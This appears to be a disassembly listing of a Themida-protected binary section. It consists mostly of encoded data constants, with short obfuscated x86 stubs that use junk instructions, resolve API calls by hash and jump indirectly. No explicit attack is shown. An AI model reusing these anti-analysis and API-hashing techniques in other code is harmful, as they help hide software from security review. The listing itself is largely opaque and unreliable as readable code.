dd 0CDE14E2Fh, 0F8FEABA5h, 0C3C7Ch, 84F45200h, 4FBF42F1h
dd 8CFC79A6h, 46B63AE9h, 920280AFh, 0ACE7A403h, 0E837DE4Eh
dd 0B17E1787h, 1D12E353h, 7C472E9Eh, 0AFAEF352h, 0CC4D169Dh
dd 0B68D4F70h, 1086F293h, 45FB6BCDh, 16959674h, 0ACBF98A6h
dd 76F1FB84h, 0CE5CDAB0h, 61E4FA2Ah, 169BBC9Dh, 0B9660F20h
dd 0E8F6C838h, 93A2345Dh, 67CAB716h, 0E1CEBFF7h, 38B56A09h
dd 0ABFF2DC8h, 0AE03DB0Bh, 3D6EE24Ah, 0C2B758Fh, 4EF54723h
dd 169CF1CEh, 1D989EAFh, 1690F1F0h, 9F2687E6h, 1690F17Ah
dd 171F3001h, 0FF37A70Ah, 0B92A9504h, 1237A611h, 9DBE1DA7h
dd 0F05C0E47h, 83EE38EDh, 0BA3BE7h, 40710000h, 84B852C2h
dd 6155C524h, 9581F150h, 6AAC1C9Ch, 0C597F879h, 86F2DBFEh
dd 3491A210h, 1086F2EDh, 0AE1EA390h, 97B89768h, 5E7B5CFEh
dd 0A8F1541Bh, 531086D0h, 0AECA7542h, 2366DDE1h, 0CA108640h
dd 0D7A711F9h, 97C597A7h, 8640E52Ch, 0D3B78810h, 9CA9CCE8h
dd 26847116h, 0A08F80B6h, 0D5BB66DDh, 0FB777DB7h, 0B1Dh
dd 0D0A51571h, 876EDE63h, 0C8AD1D98h, 9065D55Bh, 0C6AF1FA3h
dd 83E7DAD1h, 4AAD8213h, 88E43BDAh, 45A67D18h, 0C79740D5h
dd 9DACD5FCh, 65D79816h, 8955C524h, 4250A34Ch, 3093EE2Dh
dd 108625E9h, 67AC8394h, 0ACA19505h, 5B11AFBEh, 25000000h
dd 6155C524h, 0E7F727D7h, 355CE7F5h, 0B81086F2h, 409803E7h
dd 0CD169BFAh, 0A7EF5FE0h, 0A724F9D6h, 40B7D68Dh, 0AA3CE36h
dd 8BEB0000h, 44A57A1Bh, 93F241D4h, 5BDD5223h, 95150AEBh
dd 505B5025h, 886DDD5Dh, 0D1A4149Bh, 0A372E262h, 0D6BF2F8Ch
dd 3F62E1EDh, 0BE169DACh, 0C724FF3Dh, 0F1525F57h, 0FA69581h
dd 1E44A9A0h, 9CC97A8h, 0E0000002h, 0F3C34EB2h, 0D0E1FBC3h
dd 3B6A0070h, 169BFBD7h, 9B0B6996h, 6FA71798h, 0D6EDB19Eh
dd 20B9350h, 0EBF323D3h, 30A18C58h, 0A20811EFh, 26FD4BDFh
dd 7DEB2B04h, 0EB589B9h, 0E95ECA13h, 134CF08h, 664C4FD3h
dd 3B031484h, 49B11021h, 14225E8Bh, 0C8A28D79h, 6678E84Bh
dd 9680F04Dh, 6DC2D1B9h, 70FF9E0Eh, 6BB81152h, 9EFE949h
dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh
dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h
dd 43863D21h, 2A169DADh, 864FD369h, 0B9AFD20Eh, 0A96A0065h
dd 4CDED848h, 51627CACh, 56E882F2h, 0A266F1EFh, 189B8816h
dd 0BE916EA8h, 0BC2C93A0h, 0C13191A2h, 8312F8D5h, 3DB4BACh
dd 0E8D6C1D2h, 0E347D442h, 654A4373h, 5D218785h, 0E64B112Dh
dd 49741686h, 1087C9F1h, 0C60BBA7Ch, 431CB605h, 0B6055980h
dd 0AD13241Ch, 86ABB39Ch, 4FE4B121h, 50DC5CE8h, 0B89581F1h
dd 657EB897h, 72079606h, 6DB1BA9Fh, 93FEB47h, 0EF4F0000h
dd 2889967Fh, 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h
dd 0B441B111h, 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h
dd 0DA169D92h, 39942319h, 1086F218h, 73716668h, 755A5A4Fh
dd 0C5F89F4Bh, 79A94D6Bh, 7CEC4C65h, 25FDC88Eh, 28169C40h
dd 8BEA4717h, 0AA19431Bh, 16939D67h, 36553506h, 9EA0D070h
dd 8BF9C727h, 89556610h, 0AC68194Ch, 7F6B71D2h, 87F774BDh
dd 52C241EEh, 0BE58B0CBh, 41C1B3B1h, 8B5h, 8ED5DD9h, 4F26961Bh
dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh
dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9D928DD4h, 8DAF7016h
dd 86F297B6h, 5BEAF410h, 1086F236h, 506E4B5h, 575F36A6h
dd 67D75BA7h, 6CCF7648h, 0B169C41h, 0AD0F243Ah, 69CB583Dh
dd 5635BDF9h, 51000008h, 3DB0BABh, 2CDE4EAEh, 1F5F9B2Ah
dd 0CDDE169Ch, 5ED203C9h, 0F8077F78h, 0A212959Eh, 0D4EF9B74h
dd 16933789h, 0AEE858DFh, 0CEC838B5h, 0EE4CB52h, 93371237h
dd 0E7C8D916h, 68E1CC43h, 9DBDDF05h, 1528Bh, 0C8249F00h
dd 0E2455E58h, 0CC2F4472h, 7A55C540h, 55C5273Ch, 0A11173C0h
dd 7370375h, 8C372537h, 1086F245h, 48731728h, 1086F259h
dd 20231324h, 0B2AC4679h, 86F2CE13h, 0EE9CAD10h, 0A64FBF3Dh
dd 0BC2C8FA4h, 0E831947Ah, 931086F2h, 4CBDAD82h, 0C89680F0h
dd 4FF3B98Fh, 8648ADF4h, 587F5010h, 0E08AB51Bh, 863B80C5h
dd 0F666C610h, 0ED4EB3C0h, 863B3356h, 0C6E9BA10h, 12370ED0h
dd 0D910863Bh, 812CDDC8h, 3A774362h, 0F7A248B8h, 1C7DFFC8h
dd 836D243Bh, 3FE6F2CFh, 10860C1Ah, 0DFFFD0E1h, 0B7FF6FD2h
dd 614924C6h, 63D355A1h, 6B6C724Ch, 0B880F629h, 0AE0DFD46h
dd 10869863h, 140D091Ah, 0DD522393h, 0B7ACEA5Ah, 0F3D2C434h
dd 0CB2C9B42h, 0A652835Bh, 0CC0E473Fh, 79A6C5A5h, 2A9086F6h
dd 0AD182656h, 169CCDFDh, 59C6AF80h, 0CA3066D6h, 0B933D2FAh
dd 48FE59DAh, 0D75A5767h, 0AC5E2F67h, 39FA1BAAh, 0A8791693h
dd 0AF1E876Eh, 4E279718h, 0A8EE5EE1h, 0E16DCDE6h, 2EDCF363h
dd 0BA84B484h, 8B88F879h, 82D4B626h, 89C8C3C3h, 0BD819210h
dd 0A2DD2798h, 9768AE1Eh, 0A60E0FC0h, 0F57AA9C4h, 0C143F085h
dd 1D488D51h, 0C0308C90h, 263A8FF7h, 0AB032944h, 4003DB0Bh
dd 169C0B50h, 91A1C2Dh, 0CF5D38A8h, 2DC0CABh, 0AE050B1h
dd 91F1420Ch, 7218F521h, 86F20A53h, 913CF310h, 0A81A35B8h
dd 5FDCD597h, 36BAA7EFh, 2101E9C6h, 38h, 55C524F5h, 0F2BFE261h
dd 0F7C31086h, 0F23B5EE5h, 0F1C21086h, 982F9E19h, 0E576B119h
dd 4220ABD5h, 0B88B516Dh, 1086CC91h, 0D49F4B5Ch, 8729E8F1h
dd 9D822210h, 96FFFFFFh, 6557C724h, 0CAB4327h, 0C486E0DCh
dd 7B3CDC93h, 32D8CDC9h, 2673A60Ah, 2AB968A8h, 0CD000000h
dd 7BE3624Fh, 0AC153E96h, 2E684710h, 40FFB951h, 0F44F2C10h
dd 1086F2ADh, 4F3D7F50h, 55C5246Bh, 0B5725667h, 3Fh, 0DC0CABD1h
dd 4F8D4FE0h, 86F2ADF4h, 3257EE10h, 0B91086F2h, 836738E8h
dd 86F2F118h, 652D0A10h, 189EC8ADh, 9AFB22Fh, 3FE3E62Eh
dd 6B4F2C10h, 8955C524h, 0D7FC364Ch, 9E1C4CAh, 24725611h
dd 0D65D59C9h, 1086F2B3h, 606756BFh, 0BEA075E5h, 0D6CF875h
dd 8BA4999Dh, 0EDD8B28Bh, 1087023Bh, 0F463DB49h, 4FAFFFFFh
dd 286EDE62h, 5244B43Bh, 7BB8527Dh, 0EB2E95F6h, 301086F2h
dd 86F24C95h, 0A21E2F10h, 0CFD7BE91h, 64DFFF2Fh
dd 169C1FECh, 0F76A071h, 1693DFCEh, 25CD00B7h, 4E3CAC0Ch
dd 0BD4ADA5Fh, 1A629Dh, 7F580000h, 0F97A9F0Fh, 0E850AE89h
dd 2EBD8FF1h, 9AB5766Ch, 1B54CF0h, 0D1000000h, 3DBF0BABh
dd 2DCE2CDh, 0B6E050B1h, 0CA9231D9h, 0AB169BF7h, 2B9AC49Ah
dd 1693F7E6h, 58D6B485h, 6876E64Bh, 4076E64Bh, 0F5D09B4Fh
dd 1693F69Ah, 0FEC0308Ch, 0F43C65E0h, 0EEBF1693h, 42C271FCh
dd 9BCB0CD2h, 227732FCh, 2CF21CCEh, 894E9332h, 1C2D1693h
dd 0BA8C4B6Eh, 75F7D0FFh, 40C37005h, 75D00ED0h, 1693892Ch
dd 4D0CFECFh, 0D4ED5DDEh, 64634A37h, 54529F07h, 9B246DD8h
dd 0F6C71693h, 76B97FE1h, 4F75C559h, 0F151DD62h, 97B89581h
dd 0D1BCAE9Fh, 9728266Ch, 0D747A50Eh, 373D2DFh, 75153A13h
dd 113C5h, 0EFD20300h, 1888EA0Bh, 0B316211Eh, 7CA04AF3h
dd 0DDDF0FABh, 0C3248D4Fh, 806A6353h, 86F2F925h, 19250A10h
dd 0F2598043h, 13241086h, 6B4FC377h, 70E0624Fh, 1EAE1F9Ah
dd 6557C724h, 0CAB4327h, 0A286E0DCh, 71E1624Fh, 26BF1A99h
dd 872568A8h, 1000000h, 0EC69864Fh, 18E18D48h, 58794872h
dd 86FFA4EDh, 59764710h, 0A5EC5785h, 481086FFh, 4F9F9377h
dd 0C281E262h, 1086F29Fh, 88624D5Eh, 0F2CA0FB6h, 0E0B11086h
dd 1C4500DEh, 7D1086F3h, 86F383C6h, 0E7596A10h, 4F0034D6h
dd 9A70E062h, 2DBD9AC4h, 5D498009h, 24967E6Ch, 47B739C5h
dd 8D517E4Fh, 5F57C724h, 387EEE52h, 9A826847h, 0FBCA9456h
dd 1086F2D6h, 0F2499033h, 63341086h, 16FEECBDh, 2CB5h
dd 0CABD100h, 624FE0DCh, 0C49A70E0h, 0D801C49Ah, 0A31086F2h
dd 84CDF892h, 0F51086F2h, 6B4FE4D8h, 8955C524h, 5E58C828h
dd 56918961h, 0FED5B572h, 0E2F3FFFFh, 7654F44h, 48EC9E04h
dd 5F57C724h, 40F7587Dh, 2FBD96F6h, 0FD6DCE3Bh, 7FFD3618h
dd 0FA62A71Eh, 38091086h, 3C2E1F17h, 6C72A256h, 0D354E047h
dd 755A3363h, 0CC04BF95h, 91169BF3h, 0EE2F9680h, 971693E3h
dd 0EC45AD20h, 18F52191h, 0E35A7F46h, 10211693h, 2EAE3B7Ah
dd 8E509DBDh, 93EB92B7h, 0A2485916h, 3D82h, 0BAB9600h
dd 0F04003DBh, 2B169BF5h, 503E2431h, 0C2785BBFh, 93B73E63h
dd 0FEECBD16h, 9A0A6D9Ah, 0B28CA39Ch, 0A3930381h, 0EF56C0AAh
dd 1693B7AEh, 5CEDE057h, 9DBD5ED1h, 0BE57h, 0C7243300h
dd 0CA2A8757h, 9886B05Ah, 73AC149Bh, 22FFD281h, 0E0513916h
dd 0E454D662h, 9E2F3CBh, 457FB0E7h, 0E9FA34D6h, 13441A8Ah
dd 0C8C77C20h, 81AB5FCCh, 0D2A31370h, 8627E2EFh, 3FAF0C10h
dd 0FA6AC956h, 3E8A2EBCh, 734C4ABAh, 7BC3825Ch, 0FA169B21h
dd 9A5E4C29h, 0D85F546Ah, 0B9512E68h, 20A3B9A3h, 16932AF9h
dd 0ECD7B384h, 108B45A4h, 4D667849h, 8B987DEDh, 0C5E6B727h
dd 0A2B1BE13h, 25F3094h, 0CF2F0000h, 869B65Fh, 0C726FD98h
dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh
dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D95h, 0C62443F9h
dd 1370BF56h, 4F66D2A3h, 286EDE62h, 39FDB357h, 7FFC3509h
dd 5436070Fh, 0F5F74302h, 0BD86169Bh, 68E80145h, 1CF04579h
dd 1E4B8733h, 0D922631h, 7636DF13h, 0CE2C8559h, 382AC5Eh
dd 1693BADAh, 0EDC491A3h, 0C5CD506Ah, 4BAA6AF0h, 858BD6Ch
dd 6A883762h, 3A7CEC49h, 83E6A545h, 99DBD7Eh, 0C2h, 0B68D4F1Dh
dd 1086F293h, 70A1495Ah, 0A973A313h, 0F2C910B3h, 0E3B41086h
dd 38A80A07h, 0F71A77FEh, 57D41086h, 0A2210EE7h, 191A0432h
dd 15EA2C9Ch, 2F7B3B75h, 2B7C5BCBh, 37A7A9Ch, 8B3A042Bh
dd 169BEFA3h, 0E858D5C2h, 0E0FED1AEh, 690171D3h, 0ACDC9C0Ah
dd 0CC92CC92h, 93ECD0F9h, 1B8A9B16h, 1693ECF6h, 0D7C6A475h
dd 108B875Ch, 0BFF4CADBh, 0F52ACB3Bh, 3D780575h, 1EB1BED0h
dd 1479C18h, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh
dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh
dd 0FA9B0B68h, 1B3E05C9h, 0E2169D9Ah, 0C6241B21h, 1370BF56h
dd 2B88D2A3h, 605D59C9h, 0C724928Ah, 0F1525F57h, 0F2C6F481h
dd 0D1E2FCC2h, 47150171h, 86F2557Ch, 28071810h, 10CF6342h
dd 614E169Ch, 7D416EDEh, 0AE47B734h, 0CC920281h, 0A5910167h
dd 0E654C2A8h, 69DCE212h, 10B72073h, 0A7179B98h, 3BC2D3C3h
dd 0B1BB2BFEh, 0B6EF5361h, 0D8000000h, 1807EE5Eh, 0D74C2999h
dd 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h, 6DDD62D1h
dd 0A9199B88h, 64D457CCh, 0AD184691h, 169D9A64h, 0ABB68607h
dd 4003DB0Bh, 16A23E4Eh, 0CD14AFADh, 23169DBEh, 15EA2C9Ch
dd 0D0F09AABh, 49AAB7FFh, 84E73CD9h, 0D8A32214h, 4778E2C0h
dd 59DAEDE0h, 94170CE9h, 3E67EF2Ch, 4D62DB3Bh, 6B528349h
dd 0D7E492CDh, 1C9C8D7Dh, 0BF8B6AACh, 87D7E696h, 29C186EAh
dd 2B883F6Eh, 31901C9Fh, 0FDC1EEC1h, 27C333B4h, 54B1024Ch
dd 0A60506E4h, 391E0036h, 14845329h, 0C9F9912Dh, 0Dh, 6F6D2FDDh
dd 86F28DD4h, 0AB5F7010h, 5ACA2487h, 74E4475Ch, 63D33142h
dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
dd 7AEA4F64h, 0FB68783Ch, 89000070h, 0E6892434h, 4C681h
dd 0EE830000h, 24348704h
; ---------------------------------------------------------------------------
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edi
mov edx, 439B7EFBh
inc edx
neg edx
push edi
mov edi, 0B6493298h
sub edx, edi
pop edi
push esp
mov edi, [esp]
add esp, 4
push 3286h
mov [esp], ebx
mov ebx, 8
add ebx, edi
mov [ebx], edx
pop ebx
push dword ptr [esp]
pop edi
add esp, 4
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_581882
; ---------------------------------------------------------------------------
db 3Fh
dd 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh
; ---------------------------------------------------------------------------
add esi, edx
loc_5E045A: ; CODE XREF: Themida_:005DE7D8j
mov eax, 61B698Fh
add eax, ebp
push eax
mov byte ptr [ebp+61509C5h], 47h
push 0CF381725h
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
mov ebx, eax
lea eax, [ebp+6151E95h]
push eax
push 104h
call ebx
mov byte ptr [ebp+61509C5h], 53h
push 8307F8BFh
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
mov [ebp+61B4C33h], eax
cmp dword ptr [ebp+61509CDh], 0
jz loc_5E04C4
mov ebx, [ebp+6152559h]
jmp loc_5E04C9
; ---------------------------------------------------------------------------
loc_5E04C4: ; CODE XREF: Themida_:005E04B3j
mov ebx, 0
loc_5E04C9: ; CODE XREF: Themida_:005E04BFj
push 100h
lea esi, [ebp+61B4C37h]
push esi
push ebx
call dword ptr [ebp+6151375h]
lea esi, [ebp+61B4C37h]
add esi, eax
jmp loc_5E04EA
; ---------------------------------------------------------------------------
loc_5E04E9: ; CODE XREF: Themida_:005E04F6j
dec esi
loc_5E04EA: ; CODE XREF: Themida_:005E04E4j
cmp byte ptr [esi], 5Ch
jz loc_5E04FC
cmp byte ptr [esi], 2Fh
jnz loc_5E04E9
loc_5E04FC: ; CODE XREF: Themida_:005E04EDj
mov byte ptr [esi], 0
lea eax, [ebp+61B4C37h]
push eax
call dword ptr [ebp+61B4C33h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
db 58h
dd 821FA82Bh, 18594DC3h, 0DF733067h, 0A41FB15Eh, 384BF9D2h
dd 0ED0EA29Dh, 85061A0Ch, 50785165h, 0BE1E46F8h, 7132FA97h
dd 232C18C2h, 362D37CFh, 0E15C3F4h, 3B36F415h, 375A298h
dd 0F440E509h, 7D1CA396h, 0BE1FF9E8h, 9410292Eh, 0E3311F27h
dd 0E92D9396h, 50h, 6885C6D3h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh
dd 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h, 0Ch dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E0C47
; ---------------------------------------------------------------------------
push 61B6CC0h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B6D9Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B6E38h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B6EF7h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B6FCDh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B70A6h
jmp loc_581882
; ---------------------------------------------------------------------------
db 0EEh, 90h, 20h
dd 0EB5BDE55h, 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h
dd 24FB9A0Ah, 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 995A7F46h
dd 6021169Dh, 1FB5DCh, 0BEF30000h, 0F0CDC939h, 0C724221Ah
dd 0C92A8757h, 6E83B159h, 0BDF89D0Dh, 1086F290h, 1FF666C6h
dd 0DB0BAB19h, 0D949AE03h, 0D0982B31h, 5D169BF2h, 0A2EB4A4Ch
dd 0B41693F2h, 0D4CDC939h, 16B1E555h, 3BB309Fh, 0A584AA76h
dd 2198321Dh, 0EB0E9BAEh, 39969DBDh, 72000002h, 0E69A57B2h
dd 351DA8B6h, 38169BFBh, 0F88ACF76h, 84711693h, 8F80B626h
dd 0D4EF8FA0h, 0D2A09098h, 0C434B6FBh, 9CCC6C26h, 407F03C2h
dd 2DFEDCD8h, 73BF7FE9h, 0A59A9C0Ch, 0F87FB48Ah, 0E95CE288h
dd 0C6C7D778h, 322C3203h, 8A5AEB25h, 794536BCh, 0F73587CAh
dd 0B55566C6h, 0EE87F774h, 0CB52C241h, 0E779EAEAh, 0A17BF7FDh
dd 0E4000004h, 0A47B1A8Ah, 0F340D545h, 0DC532292h, 1A09EC5Ch
dd 4E4D2898h, 70E0625Dh, 0B9298EA5h, 75E547DCh, 0C03093A0h
dd 9BCA235h, 169D9EC0h, 2452EAABh, 0D95F57C7h, 48AF0425h
dd 0F2246DD8h, 0F6C71086h, 763E05D9h, 0A5169BF9h, 77BF2F8Ch
dd 0E3B4E486h, 51A0AB12h, 7B617DADh, 0B26C3B5Ah, 64DF7E71h
dd 16938D3Dh, 2AC0EFC0h, 8E84977Bh, 39C5D610h, 1FAB0E23h
dd 66042B9Bh, 0E22E937h, 66966AA5h, 0B005ED58h, 97A8B253h
dd 0F674BD9Fh, 74BF9086h, 0ADE387F7h, 3E05D909h, 0BC4226C3h
dd 0A7B5899Ah, 46CB0EB5h, 0E9B2A073h, 0CE9D290Eh, 907A5583h
dd 0AEB020A3h, 1B9A2685h, 0BD926BABh, 979CBECDh, 4AC7A313h
dd 94BD88E9h, 57A073DCh, 99946946h, 420CF683h, 3C6D034h
dd 3FBF0000h, 78F926CFh, 37B66D08h, 7F012EC7h, 39B9660Fh
dd 3C6F2CC9h, 4910181h, 0BD58C82Fh, 0FF960666h, 9263D330h
dd 63A61D41h, 0A169D9Fh, 0C724B389h, 25D95F57h, 6A5AE9F5h
dd 0EB169BF6h, 0CB6B3BDAh, 9800C39Bh, 0E510B759h, 3D40AD4h
dd 0F3A53A06h, 93806A83h, 0D747A430h, 0B7DFF6DFh, 75532CFEh
dd 93A0755Ah, 64D6C030h, 7D5A6494h, 0BAAA05FBh, 0DD5F0B7Bh
dd 2366DDFFh, 0CA1CB675h, 0EAB211F9h, 291AAB71h, 0FC3AAA08h
dd 3B1484E7h, 0BF5E6F4Fh, 0ABA626C2h, 299B171Dh, 5C000003h
dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h
dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh
dd 169D9C88h, 244AF273h, 0D95F57C7h, 0E959D925h, 35BBF8C6h
dd 0EFCD1C5h, 9B1D1648h, 0D0643F2Bh, 65169C12h, 9A03C154h
dd 17000001h, 0DF9F72B2h, 2C348FAFh, 51169BFBh, 0F8ADF44Fh
dd 46E71693h, 0BBCE65D4h, 456A3BE5h, 0AA830AB9h, 1CDC03D6h
dd 0A70CD2ECh, 8A39D141h, 0EDCE2132h, 83A04D1h, 0AD0B077Bh
dd 0E1C6F316h, 86A97A11h, 175AB4B1h, 0AE0BB49h, 27918596h
dd 0AC172757h, 17F822BDh, 0E2CFEFC0h, 0F24F161h, 5A613CACh
dd 89B66BF8h, 26A076Bh, 9B1B0000h, 54D54A2Bh, 0A32211E4h
dd 6BCD6233h, 0A5051AFBh, 404B6035h, 987DED4Dh, 0E1B4248Bh
dd 0F382F252h, 0A64FBF3Ch, 4F92311Dh, 2E169D9Ch, 0C724CF6Dh
dd 25D95F57h, 5A5AE9F5h, 0DB169BF9h, 0A3822BCAh, 0C49ACA6Eh
dd 0EE9C0C6Fh, 0FC75DD68h, 27F8108Eh, 5B7E4517h, 221CACE3h
dd 0A0237911h, 9342CA56h, 0EBF51DE1h, 0E2F3CA8Dh, 0F97FA221h
dd 2DFE8B8Dh, 40893C02h, 2B8B8DF9h, 9A29351Ah, 8D971102h
dd 1EC0B4A1h, 0BADDDF65h, 0F0CDC939h, 0BA8B2BDFh, 1392B3A4h
dd 3687EF39h, 0B050DA54h, 7C56D188h, 132B86Bh, 1D210E7Eh
dd 0E0964D38h, 14F66AFFh, 33868342h, 0C4D5B7BFh, 0AE3AB9FAh
dd 0E2DBDB4Bh, 78FB28CDh, 0E2191ECh, 0B2E7666Fh, 0F738116h
dd 194h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h
dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h
dd 9D9D557Ch, 0E5571816h, 8757C724h, 6155C52Ah, 0AEF3526Ch
dd 4D1086F2h, 1AA08E7Ch, 36283666h, 0E9F6F21h, 0E981A9F8h
dd 9B63CABAh, 0DBBA8B16h, 0DB0BAB4Dh, 0DD4DAE03h, 0B0E656D6h
dd 9A292BDFh, 16A25DC0h, 346FDDFh, 0EA169D99h, 1B3E05D9h
dd 0E2169D99h, 0B48539D1h, 0BA2A89AAh, 77E744DBh, 8BCE7567h
dd 9169D99h, 0AD4308A8h, 8B9C0442h, 0D3B72788h, 0FF2FCF59h
dd 366464DFh, 28F910B9h, 2E9E1D16h, 0EB5BD847h, 49793DABh
dd 0D58ECE75h, 0C80D1AAAh, 348F4165h, 2CDBCEDh, 0E998BF90h
dd 2A8E7C4Fh, 57E18419h, 7C7AABA0h, 0BBF8h, 0FC6CCA00h
dd 37A70A19h, 474D15Eh, 0CE3EC271h, 0A7AF827h, 447F2C6Bh
dd 909F76E6h, 49D6BF2Fh, 859A7BEBh, 0F4DFB626h, 82365BEAh
dd 34B5169Dh, 0DB0BAB08h, 5D444003h, 81916A2h, 0AB7A2136h
dd 0BC89F901h, 357E60CEh, 67A446B6h, 32019404h, 0CE3561D1h
dd 793E1255h, 81013214h, 8F3E7911h, 7EEE4E63h, 0AC1C9F8Ch
dd 278CC592h, 1047892Fh, 0A7041B7Ah, 381DFF37h, 0CB6D16C0h
dd 0FB38D2B3h, 4E370D75h, 54C9BDD6h, 0D1383B7Bh, 228AE9DEh
dd 0D8E42B45h, 1BFAD5DBh, 2737A704h, 0FB3BAB0Ah, 0E0AE6802h
dd 0C564E6F7h, 2312EFAh, 4A7A1080h, 8, 5ECE3380h, 4B2F88ACh
dd 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh, 3066D654h
dd 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh, 0E0895078h
dd 405h, 42D00h, 4870000h, 1C895C24h, 0E2895224h, 4C281h
dd 0EA810000h, 4, 5C241487h, 53240C89h, 0C381E389h, 4
dd 4EB81h, 1C870000h, 1C895C24h, 0CABA5224h, 52061B6Bh
dd 0C9243481h, 596F8979h, 79C9F181h, 835A6F89h, 248904ECh
dd 24048324h, 53515B04h, 0DF1C68BBh, 245C015Fh, 438F5B04h
dd 86B8108h, 5FDF1C68h, 5B2434FFh, 4C481h, 34FF0000h, 0C4815924h
dd 4, 0FA0C3DE9h
; ---------------------------------------------------------------------------
dec dword ptr [ebp+12h]
loc_5E0C47: ; CODE XREF: Themida_:005E05B8j
mov eax, 61B7186h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 254887FCh, 2D638E23h, 34E0D113h, 7A56D446h, 38659BD0h
dd 17A4D178h, 575FC160h, 67333861h, 40028B37h, 2AF0C8B6h
dd 6B0942D9h, 3C9280Ch, 46465489h, 45EA9FABh, 6FA40953h
dd 70791547h, 5F390CA2h, 11E8h, 1B306D00h, 4651D700h, 150AC1F6h
dd 992D563Ch, 0F50BE70h, 58Fh, 0E7816600h, 595EDDEEh, 2E99F681h
dd 0C1810F47h, 6293h, 186968h, 0E9605A00h, 13h, 36CBAA62h
dd 0C0DE8CC6h, 0E4B718EAh, 3638C76Bh, 66E534C5h, 57C2DB81h
dd 0F31FF61h, 78Eh, 86BA6000h, 612993EAh, 0C081F558h, 80BE0F8h
dd 0C0E1C081h, 0BE932F3h, 1E000000h, 8A12C9BDh, 75FF9BD7h
dd 0E8814C74h, 480E5569h, 0D408CF81h, 815010CFh, 8B2616F6h
dd 56018F09h, 14E9h, 55D01900h, 0A64452B3h, 42B20FE6h
dd 8E412593h, 5C4CA5C2h, 0E9815E33h, 4FFFB923h, 1FC181FCh
dd 0FC4FFFB9h, 1EA81h, 850F0000h, 10h, 25E9FA8Ah, 69000000h
dd 36AA0F6Eh, 0A5112F47h, 860Fh, 6EE90000h, 54FFFFFFh
dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 98EE8AD3h, 27E9h, 0DE144B00h
dd 54h, 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E120C
; ---------------------------------------------------------------------------
push 61B748Ch
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B74EEh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B761Fh
jmp loc_581882
; ---------------------------------------------------------------------------
db 0D0h
dd 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h
dd 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h, 75D0FEC9h
dd 169D812Ch, 24EE4ECFh, 536056C6h, 0C5F580F0h, 46FDC1F1h
dd 169C1BBAh, 171D0E1h, 7AFB3815h, 5340600Ah, 67AF80F0h
dd 93DBC10Ch, 0DC03AE16h, 0BD43006Dh, 2A5889Dh, 4FA40000h
dd 9A70E062h, 0F8C82927h, 0CB4FF6C8h, 0B2169BFBh, 0F23F1DE1h
dd 5D482292h, 0BF952A9h, 1B9F94CAh, 82D7FAABh, 859613FCh
dd 0EA0BABE5h, 0FC82365Bh, 0DAE4B513h, 0FC82266Bh, 0DBF4C513h
dd 0DD4DAE03h, 3006E4D9h, 35A5052Eh, 3F5E0C01h, 15E6789Bh
dd 0D3655162h, 0F1EBF323h, 750B70E4h, 0AA407565h, 136D8AFBh
dd 0E6F8C91Fh, 17FE6ECDh, 623BAB08h, 0AE471D81h, 0A2F45066h
dd 0B0000002h, 200FE656h, 0CF6431A1h, 817FE6Eh, 0C65D38A8h
dd 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h, 0C7CFF34h
dd 0D5705E69h, 169D868Ch, 0AB8EAE6Fh, 4003DB0Bh, 16A265B7h
dd 48697546h, 6FDF5EEAh, 0FC7EB540h, 0E12B8A8Ch, 0F3169D81h
dd 0EDB12890h, 9AFC031Ch, 0D8EDE8B5h, 0C8EEB7CFh, 2406Ch
dd 44B41200h, 8FFF82B1h, 4CBC39E6h, 86F67AA9h, 52C240EFh
dd 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h, 0DD522393h, 0BC07EE5Eh
dd 86EE3392h, 0C8D169Dh, 0DB0BAB30h, 65B74003h, 0CFE416A2h
dd 0AE12F868h, 0F31A999Dh, 7C169D81h, 1648AA15h, 9D816AAFh
